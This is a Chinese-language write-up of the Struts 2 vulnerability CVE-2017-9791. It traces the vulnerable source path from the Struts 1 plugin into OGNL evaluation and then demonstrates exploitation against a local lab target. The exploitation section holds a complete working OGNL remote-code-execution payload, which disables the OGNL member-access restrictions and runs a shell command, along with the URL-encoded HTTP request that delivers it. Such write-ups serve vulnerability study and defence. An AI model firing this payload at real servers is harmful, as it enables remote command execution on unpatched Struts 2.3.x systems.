0x00 漏洞概述
编号为CVE-2017-9791。
官方描述是:
It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the
ActionMessage
class.
在Struts 2.3.x版本上,Showcase插件的ActionMessage
类处理用户输入不当,导致任意代码执行。
虽然Struts 2.3.x版本早已官宣退役,但是源码值得一看,而且相信还有许多正在服役的Struts 2.3.x项目。
影响版本:Struts 2.3.x。
0x01 漏洞源码
分析基于官方的示例war包。
从漏洞描述可知,本质问题在于struts2-struts1-plugin这个jar包。这个库被用作Struts 1和Struts 2间的衔接,将Struts 1的action封装为Struts 2的action,以便后者使用。
struts2-struts1-plugin包中的Struts1Action.java有execute()
方法,调用了getText()
函数,该函数会执行OGNL表达式;getText()
函数的输入又是用户可控的。
Struts1Action.java
如图中所示,先调用了SaveGangsterAction.execute()
方法,然后调用了getText()
方法。
SaveGangsterAction.java
去查看一下SaveGangsterAction.execute()
的具体实现,文件位于WEB-INF/classes/org/apache/struts2/showcase/integration/SaveGangsterAction.java。
gform.GetName()
被放入messages
,而gform.GetName()
的值是从客户端获取的。
getText函数
getText()
函数的调用链较长,从Struts1Action.execute()
开始追溯。
-
ActionSupport.getText()
public String getText(String aTextName) { return getTextProvider().getText(aTextName); }
-
TextProviderSupport.getText()
public String getText(String key, String defaultValue, List<?> args) { Object[] argsArray = ((args != null && !args.equals(Collections.emptyList())) ? args.toArray() : null); if (clazz != null) { return LocalizedTextUtil.findText(clazz, key, getLocale(), defaultValue, argsArray); } else { return LocalizedTextUtil.findText(bundle, key, getLocale(), defaultValue, argsArray); } }
-
LocalizeTextUtil.findText()
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) { ValueStack valueStack = ActionContext.getContext().getValueStack(); return findText(aClass, aTextName, locale, defaultMessage, args, valueStack); }
-
到了常规OGNL表达式入口。
0x02 利用流程
访问靶机
先行测试
发现运算被执行了。
抓包改包
重新访问/integration/editGangster.action路径。
构造Payload:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
由于系统解析特性,Payload需要经过URL转码,注入命令中的空格也要转义为%20
。
POST /integration/saveGangster.action HTTP/1.1
Host: 127.0.0.1:52570
Content-Length: 1022
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:52570
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:52570/integration/editGangster.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=25C4D4A4B6532931B769FC874B99B7DB
Connection: close
name=%25%7B(%23_%3D'multipart%2Fform-data').(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'ls%20-l%20%2Ftmp').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D&age=123&__checkbox_bustedBefore=true&description=123
0x03 工具一把梭
Struts 2系列漏洞实在经典,必然有大佬制作相应的检测工具。
一个较流行的工具:shack2/Struts2VulsTools: Struts2系列漏洞检查工具 (github.com)。